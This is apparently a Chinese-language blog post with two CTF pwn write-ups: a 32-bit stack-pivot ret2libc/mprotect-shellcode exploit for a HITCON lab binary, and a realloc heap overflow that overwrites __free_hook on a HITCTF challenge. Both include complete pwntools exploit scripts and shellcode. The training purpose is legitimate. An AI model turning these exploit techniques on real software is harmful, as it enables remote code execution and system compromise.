pwn 新手向

Posted by Domain knowledge on January 2, 2022

这是我前年写的两个很简单的 pwn 题,很常规的栈迁移思路,我现在都看不懂了,2333。得记下来以后没事了看。

第一个

这个思路是自己做一道很简单的题时一步一步边优化边想的,顺着这个思路加深了对栈迁移的理解,分享一下。但本人文笔实在垃圾,各位看官有觉得不对劲的请在评论区留言

题目链接如下(文末也放了链接

lab6

程序大致分析

保护措施如此这般:

└> checksec migration 
[*] '/home/pic/Desktop/hitcon/migration'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

程序如此这般:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+0h] [ebp-28h]

  if ( count != 1337 )
    exit(1);
  ++count;
  setvbuf(_bss_start, 0, 2, 0);
  puts("Try your best :");
  return read(0, &buf, 0x40u);
}

程序很干净,存在read函数的溢出,且溢出字节为 0x28 即 40 ,但不像 64 位有很好用的万能 gadget ,之前做过类似的题,记得套路如下:

  • 通过 read 函数把 rop 链读到 bss 端
  • 构造 bss 端
  • 迁移到 bss 端执行

经过大致分析常规套路,应该是要有三次 shellcode ,因为构造 bss 端时必然无法执行任何操作,但其实在构造 bss 时候可以把第三次的起 shell 合并,即下方的 exp

带栈迁移的 ret2libc

from pwn import *
context.log_level = 'debug'
io = process('migration')
elf = ELF('migration')
libc = elf.libc
got = elf.got["puts"]
io.recvuntil('\n')
payload1 = 'a'*40+p32(0x804A008+0x28+0x500)+p32(0x80484EA)+p32(got)
io.send(payload1)
real = u32(io.recv(4))
base = real - libc.symbols["puts"]
one_gadget = base+0x3ac69
payload2 = p32(0)+p32(one_gadget)+p32(0)*8+p32(0x804A008+0x500)+p32(0x8048504)
io.send(payload2)
io.interactive()

其中one_gadget地址

▶ one_gadget /lib/i386-linux-gnu/libc.so.6
...
0x3ac69 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL
...

看一下第一次的 payload :(填入的地址就是栈中)

  • 将 ebp 改为0x804A008+0x28+0x500,其中 0x28 是因为 ebp 在 read 时决定最重要的参数–地址
    0x80484f4 <main+73>:	lea    eax,[ebp-0x28]
    0x80484f7 <main+76>:	push   eax
    0x80484f8 <main+77>:	push   0x0
    0x80484fa <main+79>:	call   0x8048380	; read 函数
    
  • 0x80484EA地址是 call puts,之后的排布就是 put_got 参数了,能直接把 puts 地址泄露出来,便于后边 one_gadget 的计算
    .text:080484E5                 push    offset s        ; "Try your best :"
    .text:080484EA                 call    puts
    .text:080484EF                 add     esp, 4
    .text:080484F2                 push    40h             ; nbytes
    .text:080484F4                 lea     eax, [ebp+buf]
    .text:080484F7                 push    eax             ; buf
    .text:080484F8                 push    0               ; fd
    .text:080484FA                 call    read
    

之后的第二次 payload (填写地址是0x804A008+0x500就是因为之前第一次 payload 的 ebp 变化引起的):

  • 前 40 字节没什么说的,就是把 one_gadget 填到正确位置,方便起 shell
  • 之后的p32(0x804A008+0x500)就是本轮的 ebp 了
  • 之后p32(0x8048504)
    .text:08048504                 leave
    .text:08048505                 retn
    

程序溢出时ebp esp eip三个寄存器状态

ebp = 0x804A008 + 0x500
esp 无法直接控制
eip 无法直接控制

之后的 leave片段

ebp = 0
esp = 0x804A008 + 0x500 + 4 
eip 无法直接控制

经过 ret 变成了

ebp = 0
esp = 0x804A008 + 0x500 + 8
eip = one_gadget

可以看到 ret 地址填写的就是 one_gadget 地址,但是因为本题 bss 端地址固定,所以完全可以通过 mprotect 函数来修改 bss 可执行权限,达到向 bss 端写 shellcode 并执行的效果, exp 如下

带 mprotect 的 ret2shellcode

from pwn import *
context.log_level = 'debug'
io = process('migration')
elf = ELF('migration')
libc = elf.libc
got = elf.got["puts"]
io.recvuntil('\n')
payload1 = 'a'*40+p32(0x804A008+0x28+0x500)+p32(0x80484EA)+p32(got)
io.send(payload1)
real = u32(io.recv(4))
base = real - libc.symbols["puts"]
mp = base + libc.symbols['mprotect']
one = base+0x3ac69
shellcode = "\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"
payload2 = shellcode+'a'*(40-len(shellcode))+p32(0)+p32(mp)+p32(0x804A008+0x500)+p32(0x804A000)+p32(0x1000)+p32(7)
io.send(payload2)
io.interactive()

第一轮的 payload 没变,把第二轮的变成了

  • 前 40 字节是 shellcode 和 a 填充
  • ebp 可以随意,用不到
  • mprotect 函数地址
  • ret 地址填 bss ,也即 shellcode 地址
  • mprotect 用到的参数,达到mprotect(0x804A000,0x1000,7)的效果

执行 mprotect 之前

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/pic/Desktop/hitcon/migration
 0x8049000  0x804a000 r--p     1000 0      /home/pic/Desktop/hitcon/migration
 0x804a000  0x804b000 rw-p     1000 1000   /home/pic/Desktop/hitcon/migration
......

执行 mprotect 之后

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 0x8048000  0x8049000 r-xp     1000 0      /home/pic/Desktop/hitcon/migration
 0x8049000  0x804a000 r--p     1000 0      /home/pic/Desktop/hitcon/migration
 0x804a000  0x804b000 rwxp     1000 1000   /home/pic/Desktop/hitcon/migration

有了可执行权限,跳转过去执行就 get shell 了

直接填入

from pwn import *
context.log_level = 'debug'
io = process('migration')
elf = ELF('migration')
libc = elf.libc
got = elf.got["puts"]
io.recvuntil('\n')
payload1 = 'a'*40+p32(0x804A008+0x28+0x500)+p32(0x80484EA)+p32(got)
io.send(payload1)
real = u32(io.recv(4))
base = real - libc.symbols["puts"]
one = base+0x3ac69
io.send(p32(0)*11+p32(one))
io.interactive()

这招成功的核心在于第一次 payload 填的 ret 地址是 0x80484EA 等于执行了一遍下边的 leave ret ,让之前填入的 ebp 发挥了作用,有点困惑的可以自行调试深入体会,在此不予以赘述

总结

经过上方的分析大家应该看到 ebp 用好对 exp 的编写和题目的理解有多大用处,尤其是最后一个。感觉自己之前一直有一个误区,就是填 ebp 就一定要填 leave_ret gadget ,后来发现不一定,一定要注意汇编前后语境,不遇到 ret 坚决不放松警惕。而且有时候把 main 函数中间某一段当作 ret 地址可以达到很多单纯构造 rop 链达不到的效果

第二个

最近佛系找题做,突然找到了一道去年 hitctf 的题,看网上也没有 writeup ,于是决定好好分析一波.太菜了,前后花了 5 个小时吧,服了,这题学了很多,分享出来

写在前面的程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
	char* a = malloc(0x80);
	char* b = malloc(0x10);
	char* c = malloc(0x20);
	char* d = malloc(0x20);
	char* e = malloc(1);
	a = realloc(a,0x20);
	b = realloc(b,0x20);	//------->断点A
	c = realloc(c,0x20);	//------->断点B
	d = realloc(c,0);
}

本程序意思便是 realloc 会重新排步堆空间,这里只介绍一下 a 和 b 块,剩下的可以自行调试.断到断点 A 处查看变化

pwndbg> x/10gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000031
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000061
0x602040:	0x0000000000000000	0x0000000000000000
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x602030 ◂— 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> p a
$5 = 0x602010 ""
pwndbg> p b
$2 = 0x6020a0 ""

可以看到realloc(a,0x20)只用到了 0x31 字节,之前 malloc 剩下的直接扔到了 fastbin 里,被 free 掉.这里注意一下 b 指向 0x6020a0 .单步运行断在 B 处查看变化

pwndbg> p b
$3 = 0x602140 ""
pwndbg> x/8gx 0x602140-0x10
0x602130:	0x0000000000000000	0x0000000000000031
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000020ea1
pwndbg> bins
fastbins
0x20: 0x602090 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x602030 ◂— 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

这里 realloc 一个比之前大的会使之前的 b 直接被 free 掉,重新一个 malloc 一个合适的返给 b .

前言结束

分析思路

这题其实挺反常规的,程序的 bss 端 ptr 指向存放内容头,之后的内容头中有指向内容的指针,大致长这样

bss->
	**	0x31
  title	name
  time()	chunk_ptr
  size	**
  chk_ptr	->	content

在 edit 中有一个不太明显的堆溢出漏洞

  if ( *((_DWORD *)ptr[v2] + 8) != v3 )
  {
    v1 = ptr[v2];
    v1[3] = realloc(*((void **)ptr[v2] + 3), v3 + 1);	//realloc()函数,漏洞利用关键点
  }
  puts("new message:");
  return read(0, *((void **)ptr[v2] + 3), *((signed int *)ptr[v2] + 8));	//漏洞点, message size 未更新
}

泄漏 libc

from pwn import *
p = process('./pwn2',aslr=2)
elf = ELF("./pwn2", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(title,name,size,message):
	p.sendafter('Input your choice:','1')
	p.sendafter('title:\n',title)
	p.sendafter('name:\n',name)
	p.sendafter('message size:\n',str(size))
	p.sendafter('message:\n',message)
def edit(ind,size,message):
	p.sendafter('Input your choice:','2')
	p.sendafter('Which one?\n',str(ind))
	p.sendafter('message size:\n',str(size))
	p.sendafter('new message:\n',message)
def show(ind):
	p.sendafter('Input your choice:','3')
	p.sendafter('Which one?\n',str(ind))
def free(ind):
	p.sendafter('Input your choice:','4')
	p.sendafter('Which one?\n',str(ind))

这是框架函数,之后一个

new('a','a',0x80,'a'*0x80)

让他 malloc 出来一块不属于 fastbin 的堆,再

new('b','b',1,'b')

防止topchunk吞并上一个,然后编辑edit(0,0x90,'1'*8)让新的 size 和旧的不等触发

v1[3] = realloc(*((void **)ptr[v2] + 3), v3 + 1);

这样我们之前的第一个块就到了unsortedbin中,然后在new('d','d',0x80,'d'*8)一块,这样子内容头就用的是 unsortedbin ,填入 title 和 name 时候占用的就是之前 unsortedbin 残留的 fd 和 bk 了,填充一个字节之后 show(2) 让它泄漏出来减去偏移字节,这样就得到了 libc

getshell

有了 libc 后基本思路就确定了,修改内容头使其指向__free_hook,并直接 edit 为 one_gadget ,之后 free 触发 getshell ,所以关键便是如何溢出覆盖内容头

首先

new('a','a',0xf7,'a'*0x20)
edit(3,0xb8,'0')

构造一个堆,并编辑,使得该块底下有一块可控范围,并控制在 0x30 的 fastbin 中,便于能溢出到内容头,之后

new('d','d',1,'d')

这个块就中招了,我们能够溢出它,之后填入我们精心构造的堆

edit(3,0xb8,'\x01'*0xc8+p64(0x31)*4+p64(libc.symbols['__free_hook'] + leak)+p64(0x51))

其中的排步效果如下

0x1474310:	0x0101010101010101	0x0000000000000031
0x1474320:	0x0000000000000031	0x0000000000000031
0x1474330:	0x0000000000000031	0x00007f15621627a8
0x1474340:	0x0000000000000051	0x0000000000020cc1

之后就是编辑为 one_gadget 和触发了,这里要注意一定要和自己填入的 size 一样,不然又触发v1[3] = realloc(*((void **)ptr[v2] + 3), v3 + 1);,或大或小都不会成功,大的话重新 malloc ,小的话有逃不过检查

edit(4,0x51,p64(one))
free(0)
[+] Starting local process './pwn2': pid 6300
0x7f507bfa2000
[*] Switching to interactive mode
$  

成功

完整exp

from pwn import *
p = process('./pwn2',aslr=2)
elf = ELF("./pwn2", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(title,name,size,message):
	p.sendafter('Input your choice:','1')
	p.sendafter('title:\n',title)
	p.sendafter('name:\n',name)
	p.sendafter('message size:\n',str(size))
	p.sendafter('message:\n',message)
def edit(ind,size,message):
	p.sendafter('Input your choice:','2')
	p.sendafter('Which one?\n',str(ind))
	p.sendafter('message size:\n',str(size))
	p.sendafter('new message:\n',message)
def show(ind):
	p.sendafter('Input your choice:','3')
	p.sendafter('Which one?\n',str(ind))
def free(ind):
	p.sendafter('Input your choice:','4')
	p.sendafter('Which one?\n',str(ind))


new('a','a',0x80,'a'*0x80)
new('b','b',1,'b')
edit(0,0x90,'1'*8)
new('d','d',0x80,'d'*8)
show(2)
p.recvuntil('Title: ')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))-0x3c4b64
print hex(leak)
new('a','a',0xf7,'a'*0x20)
edit(3,0xb8,'0')
new('d','d',1,'d')
edit(3,0xb8,'\x01'*0xc8+p64(0x31)*4+p64(libc.symbols['__free_hook'] + leak)+p64(0x51))
one=leak+0x4526a
edit(4,0x51,p64(one))
free(0)
p.interactive()

最后构造出来的块太恶心了,但还好成功了,本题难点就是内容头数据结构和 realloc 的理解了,剩下没什么难点,算是一个比较考构造的题